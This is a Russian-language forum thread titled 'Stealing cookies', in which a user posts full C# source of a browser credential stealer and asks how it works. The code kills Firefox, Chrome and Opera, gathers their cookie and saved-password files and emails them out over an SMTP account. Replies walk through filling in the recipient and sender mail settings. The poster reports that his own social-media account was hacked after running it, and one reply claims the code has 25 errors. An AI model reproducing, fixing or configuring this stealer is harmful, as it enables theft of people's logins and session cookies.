Воруем куки
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Воруем куки - 2012-02-03 19:59:27.886666
|
|
|
SnapSh0t
Сообщений: 2
Оценки: 0
Присоединился: 2012-02-03 19:58:00.796666
|
Расскажите как работает эта программа…. quote:
using System; using System.Collections.Generic; using System.Text; using System.Security.Principal; using System.Web.Mail; using System.Net.Sockets; using System.Net; namespace Crack_v2 { class Data { public static readonly string MailAddressTo = "none"; //адрес на который осуществляется отправка public static readonly string MailAddressFrom = "noen"; // адрес с которого осуществляется отправка public static readonly string SMTPServer = "smtp.mail.ru"; // адрес SMTP сервера с которого будут уходить письма public static readonly string UserName = "none"; // логин учётной записи с которой будут уходить письма public static readonly string UserPassword = "none"; // пароль учётной записи с которой будут уходить письма public static readonly string AdditionalInfo = "test"; public static readonly string fileName = @"\system.drv"; public static readonly string FireFox_Coockies = @"\Mozilla\Firefox\Profiles"; public static readonly string Chrome_Coockies = @"\Google\Chrome\User Data\Default\Cookies"; public static readonly string Opera_Coockies = @"\Opera\Opera\cookies4.dat"; public static readonly string Chrome_Pass = @"\Google\Chrome\User Data\Default\Web Data"; public static readonly string Opera_Pass = @"\Opera\Opera\wand.dat"; } class Program { static void GetDisks(System.Collections.ArrayList DList) { string[] disks = System.IO.Directory.GetLogicalDrives(); foreach (string disk in disks) { System.IO.DriveInfo DiskProperty = new System.IO.DriveInfo(disk); if (DiskProperty.DriveType.ToString() == "Fixed") { DList.Add(disk.ToString()); } } } static void GetDirectiry(string dir, System.Collections.ArrayList DList) { string[] directory = System.IO.Directory.GetFileSystemEntries(dir); foreach (string str in directory) DList.Add(str); } static void GetFiles(string dir, System.Collections.ArrayList FilesList, string F) { System.Collections.ArrayList DirList = new System.Collections.ArrayList(); GetDirectiry(dir, DirList); foreach (string path in DirList) { string[] files = System.IO.Directory.GetFiles(path, F); foreach (string file in files) { FilesList.Add(file); } } } static string GetInfoUser(string sURL) { string INFO = ""; WebRequest wrGETURL; wrGETURL = WebRequest.Create(sURL); System.IO.Stream objStream; objStream = wrGETURL.GetResponse().GetResponseStream(); System.IO.StreamReader objReader = new System.IO.StreamReader(objStream); string sLine = ""; int i = 0; while (sLine != null) { i++; sLine = objReader.ReadLine(); if (sLine != null) { INFO += string.Format("{0}:{1}", i, sLine); } } return INFO; } static void CreateFile() { string FileName = Data.fileName; string Path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + FileName; System.IO.File.Create(Path); } static void KillProcess(string ProcName) { try { System.Diagnostics.Process[] Proc; Proc = System.Diagnostics.Process.GetProcessesByName(ProcName); int i = 0; while (i != Proc.Length) { Proc.Kill(); i++; } } catch { } } static void _breack(System.Collections.ArrayList List) { List.Add("________________"); List.Add(""); } static void Main(string[] args) { try { KillProcess("firefox"); KillProcess("chrome"); KillProcess("Opera"); System.Collections.ArrayList InfoList = new System.Collections.ArrayList(); System.Collections.ArrayList DisksList = new System.Collections.ArrayList(); System.Collections.ArrayList FilesList = new System.Collections.ArrayList(); string M = ""; int count = 1; _breack(InfoList); WindowsIdentity user = WindowsIdentity.GetCurrent(); string FireFox_Profile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Data.FireFox_Coockies; string Chrome_Profile = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + Data.Chrome_Coockies; string Opera_Profile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Data.Opera_Coockies; GetDisks(DisksList); GetFiles(FireFox_Profile, FilesList, "*.sqlite"); GetFiles(FireFox_Profile, FilesList, "*.txt"); InfoList.Add("Вложения содержат кукисы:"); MailMessage msg = new MailMessage(); int j = 1; foreach (string FileName in FilesList) { if (System.IO.Path.GetFileName(FileName) == "cookies.sqlite") { MailAttachment AttachFireFoxData = new MailAttachment(FileName); msg.Attachments.Add(AttachFireFoxData); InfoList.Add(count.ToString() + "." + j.ToString() + ") Куки FireFox (" + System.IO.Path.GetFileName(FileName) + ")"); j++; } } if (System.IO.File.Exists(Chrome_Profile)) { try { MailAttachment AttachChromeData = new MailAttachment(Chrome_Profile); msg.Attachments.Add(AttachChromeData); count++; InfoList.Add(count.ToString() + ") Куки Chrome (" + System.IO.Path.GetFileName(Chrome_Profile) + ")"); } catch { } } if (System.IO.File.Exists(Opera_Profile)) { MailAttachment AttachOperaData = new MailAttachment(Opera_Profile); msg.Attachments.Add(AttachOperaData); count++; InfoList.Add(count.ToString() + ") Куки Opera (" + System.IO.Path.GetFileName(Opera_Profile) + ")"); } _breack(InfoList); count++; InfoList.Add("Вложения содержат пароли:"); int p = 1; foreach (string FileName in FilesList) { if (System.IO.Path.GetFileName(FileName) == "signons3.txt") { MailAttachment AttachFireFoxData = new MailAttachment(FileName); msg.Attachments.Add(AttachFireFoxData); InfoList.Add(count.ToString() + "." + p.ToString() + ") Пасы FireFox (" + System.IO.Path.GetFileName(FileName) + ")"); p++; } } string Opera_Pass = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Data.Opera_Pass; if (System.IO.File.Exists(Opera_Pass)) { MailAttachment AttachOperaData = new MailAttachment(Opera_Pass); msg.Attachments.Add(AttachOperaData); count++; InfoList.Add(count.ToString() + ") Пасы Opera (" + System.IO.Path.GetFileName(Opera_Pass) + ")"); } string Chrome_Pass = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + Data.Chrome_Pass; if (System.IO.File.Exists(Chrome_Pass)) { MailAttachment AttachOperaData = new MailAttachment(Chrome_Pass); msg.Attachments.Add(AttachOperaData); count++; InfoList.Add(count.ToString() + ") Пасы Chrome (" + System.IO.Path.GetFileName(Chrome_Pass) + ")"); } _breack(InfoList); // – отправляем письмо – string smtpServer = Data.SMTPServer; string userName = Data.UserName; string password = Data.UserPassword; msg.Priority = System.Web.Mail.MailPriority.High; msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", 1); msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", userName); msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", password); msg.To = Data.MailAddressTo; msg.From = Data.MailAddressFrom; msg.Subject = user.Name.ToString() + " / " + Data.AdditionalInfo; for (int i = 0; i < InfoList.Count; i++) { M = M + Environment.NewLine + InfoList.ToString(); } msg.Body = M; SmtpMail.SmtpServer = smtpServer; if (!System.IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + Data.fileName)) { SmtpMail.Send(msg); CreateFile(); Console.Clear(); } } catch (Exception e) { Console.Write(e.Source + Environment.NewLine + e.Message + Environment.NewLine + e.Data); Console.ReadLine(); } } } } И доделана ли эта программа?
|
|
|
RE: Воруем куки - 2012-02-03 23:19:18.086666
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Скорее всего работает, скорее всего доделана. Какой вопрос, такой ответ ;)
|
|
|
RE: Воруем куки - 2012-02-04 05:59:52.066666
|
|
|
Barkass$
Сообщений: 1854
Оценки: 40
Присоединился: 2008-11-11 12:19:45.216666
|
Ну там же все и так понятно расписанно) Убиваются процессы браузеров, беруться их куки, заносятся в листинг, прикрепляются к атачу, отправляются в виде письма на мыло. quote:
Скорее всего работает, скорее всего доделана. :)
|
|
|
RE: Воруем куки - 2012-02-04 08:51:10.716666
|
|
|
SnapSh0t
Сообщений: 2
Оценки: 0
Присоединился: 2012-02-03 19:58:00.796666
|
и что сюда писать? public static readonly string MailAddressTo = "none"; //адрес на который осуществляется отправка public static readonly string MailAddressFrom = "noen"; // адрес с которого осуществляется отправка public static readonly string SMTPServer = "smtp.mail.ru"; // адрес SMTP сервера с которого будут уходить письма public static readonly string UserName = "none"; // логин учётной записи с которой будут уходить письма public static readonly string UserPassword = "none"; // пароль учётной записи с которой будут уходить письма как она отправит то? я запустил ее.. меня вконтакте ломанули =(
|
|
|
RE: Воруем куки - 2012-02-04 10:29:55.903333
|
|
|
Barkass$
Сообщений: 1854
Оценки: 40
Присоединился: 2008-11-11 12:19:45.216666
|
Ну так скопипастить код любой горазд) Разберайся, там все предельно просто. Учи азы С)
|
|
|
RE: Воруем куки - 2012-02-21 00:11:22.230000
|
|
|
WM_reg
Сообщений: 42
Оценки: 0
Присоединился: 2012-02-10 22:18:15.166666
|
Первое куда письмо придет. Второе откуда она его отправит. Третие 'smtp.' + домен почты. Ну 4 и 5 это логин и праоль откуда будет письмо высылаться. Короче 2 почты нужно + смотри по коду не будет ли еще другой отправки по почте или на гейт) А вообще в кратце программа просто отправляет тебе файлы паролей а не куки как я понял. Расшифровывать файлы сам будешь. Ничего сложного даже с моими знаниями делфи понятно)
|
|
|
RE: Воруем куки - 2012-03-09 15:56:01.323333
|
|
|
Konkustador
Сообщений: 10
Оценки: 0
Присоединился: 2010-09-07 17:00:11.700000
|
Код не доработан 25 ошибок
|
|
|
|
|